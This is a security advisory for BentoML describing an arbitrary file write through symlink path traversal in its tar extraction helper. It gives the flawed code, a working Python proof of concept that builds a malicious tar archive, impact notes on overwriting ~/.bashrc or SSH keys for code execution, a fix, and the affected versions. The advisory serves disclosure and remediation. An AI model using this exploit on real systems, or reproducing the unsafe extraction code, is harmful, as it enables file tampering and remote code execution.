GHSA-m6w7-qv66-g3mf

Suggest an improvement
Source
https://github.com/advisories/GHSA-m6w7-qv66-g3mf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-m6w7-qv66-g3mf/GHSA-m6w7-qv66-g3mf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-m6w7-qv66-g3mf
Aliases
Published
2026-03-03T17:46:47Z
Modified
2026-03-04T15:15:54.461490Z
Severity
  • 8.6 (High) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
Details

Arbitrary File Write via Symlink Path Traversal in Tar Extraction

Summary

The safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

Affected Component

  • File: src/bentoml/_internal/utils/filesystem.py:58-96
  • Callers: src/bentoml/_internal/cloud/bento.py:542, src/bentoml/_internal/cloud/model.py:504
  • Affected versions: All versions with safe_extract_tarfile()

Severity

CVSS 3.1: 8.1 (High) AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Vulnerability Details

Vulnerable Code (filesystem.py:58-96)

def safe_extract_tarfile(tar, destination):
    os.makedirs(destination, exist_ok=True)
    for member in tar.getmembers():
        fn = member.name
        path = os.path.abspath(os.path.join(destination, fn))
        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE
            continue  # Only checks member path, NOT symlink target
        if member.issym():
            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target
        else:
            fp = tar.extractfile(member)
            with open(path, "wb") as destfp:  # Line 92: open() FOLLOWS symlinks
                shutil.copyfileobj(fp, destfp)

The Bug

  1. Line 64: Path(path).is_relative_to(destination) checks the member's OWN path, not the symlink target
  2. Line 75: tar._extract_member() creates symlink with unvalidated target (e.g., /etc)
  3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination

os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.

Proof of Concept

import io, os, shutil, tarfile, tempfile
from pathlib import Path

def create_malicious_tar(target_dir, target_file, payload):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w:gz') as tar:
        sym = tarfile.TarInfo(name='escape')
        sym.type = tarfile.SYMTYPE
        sym.linkname = target_dir
        tar.addfile(sym)
        info = tarfile.TarInfo(name=f'escape/{target_file}')
        info.size = len(payload)
        tar.addfile(info, io.BytesIO(payload))
    buf.seek(0)
    return buf

with tempfile.TemporaryDirectory() as tmpdir:
    extract_dir = os.path.join(tmpdir, 'extract')
    target_dir = os.path.join(tmpdir, 'outside')
    os.makedirs(target_dir)

    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')

    # Reproduce filesystem.py:58-96
    os.makedirs(extract_dir, exist_ok=True)
    for member in tar.getmembers():
        path = os.path.abspath(os.path.join(extract_dir, member.name))
        if not Path(path).is_relative_to(extract_dir): continue
        if member.issym():
            tar._extract_member(member, path)  # Symlink target NOT checked
        else:
            fp = tar.extractfile(member)
            os.makedirs(os.path.dirname(path), exist_ok=True)
            if fp:
                with open(path, 'wb') as destfp:  # Follows symlink!
                    shutil.copyfileobj(fp, destfp)

    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED

Impact

1. Arbitrary file overwrite via shared bentos

BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorized_keys, crontabs, Python site-packages.

2. Remote code execution via file overwrite

Overwriting ~/.bashrc or Python packages achieves RCE.

3. BentoCloud deployments

safe_extract_tarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

Remediation

Validate symlink targets:

if member.issym():
    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
    if not Path(target).is_relative_to(dest):
        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
        continue

Or use Python 3.12+ tar.extractall(filter='data').

References

  • CWE-59: Improper Link Resolution Before File Access ('Link Following')
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Database specific
{
    "github_reviewed": true,
    "severity": "HIGH",
    "nvd_published_at": "2026-03-03T23:15:55Z",
    "cwe_ids": [
        "CWE-22",
        "CWE-59"
    ],
    "github_reviewed_at": "2026-03-03T17:46:47Z"
}
References

Affected packages

PyPI / bentoml

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.4.36

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.5
0.0.6a0
0.0.7.dev0
0.0.7
0.0.8
0.0.8.post1
0.0.9
0.1.1
0.1.2
0.2.0
0.2.1
0.2.2
0.3.0
0.3.1
0.3.3
0.3.4
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.7
0.4.8
0.4.9
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.6.0
0.6.1
0.6.2
0.6.3
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.7.8
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.8.6
0.9.0rc0
0.9.0
0.9.1
0.9.2
0.10.0
0.10.1
0.11.dev0
0.11.0
0.12.0
0.12.1
0.13.0
0.13.1
0.13.2
1.*
1.0.0.dev0
1.0.0.dev1
1.0.0a1
1.0.0a2
1.0.0a3
1.0.0a4
1.0.0a5
1.0.0a6
1.0.0a7
1.0.0rc0
1.0.0rc1
1.0.0rc2
1.0.0rc3
1.0.0
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.0.10
1.0.11
1.0.12
1.0.13
1.0.14
1.0.15
1.0.16
1.0.17
1.0.18
1.0.19
1.0.20
1.0.21
1.0.22
1.0.23
1.0.24
1.0.25
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9
1.1.10
1.1.11
1.2.0a0
1.2.0a1
1.2.0a2
1.2.0a3
1.2.0a4
1.2.0a5
1.2.0a6
1.2.0a7
1.2.0rc1
1.2.0
1.2.1a1
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.2.11
1.2.12
1.2.13
1.2.14
1.2.15
1.2.16
1.2.17
1.2.18
1.2.19
1.2.20
1.3.0a1
1.3.0a2
1.3.0a3
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4.post1
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.3.10
1.3.11
1.3.12
1.3.13
1.3.14
1.3.15
1.3.16
1.3.17
1.3.18
1.3.19
1.3.20
1.3.21
1.3.22
1.4.0a1
1.4.0a2
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.4.9
1.4.10
1.4.11
1.4.12
1.4.13
1.4.14
1.4.15
1.4.16
1.4.17
1.4.18
1.4.19
1.4.20
1.4.21
1.4.22
1.4.23
1.4.24
1.4.25
1.4.26
1.4.27
1.4.28
1.4.29
1.4.30
1.4.31
1.4.32
1.4.33
1.4.34
1.4.35

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-m6w7-qv66-g3mf/GHSA-m6w7-qv66-g3mf.json"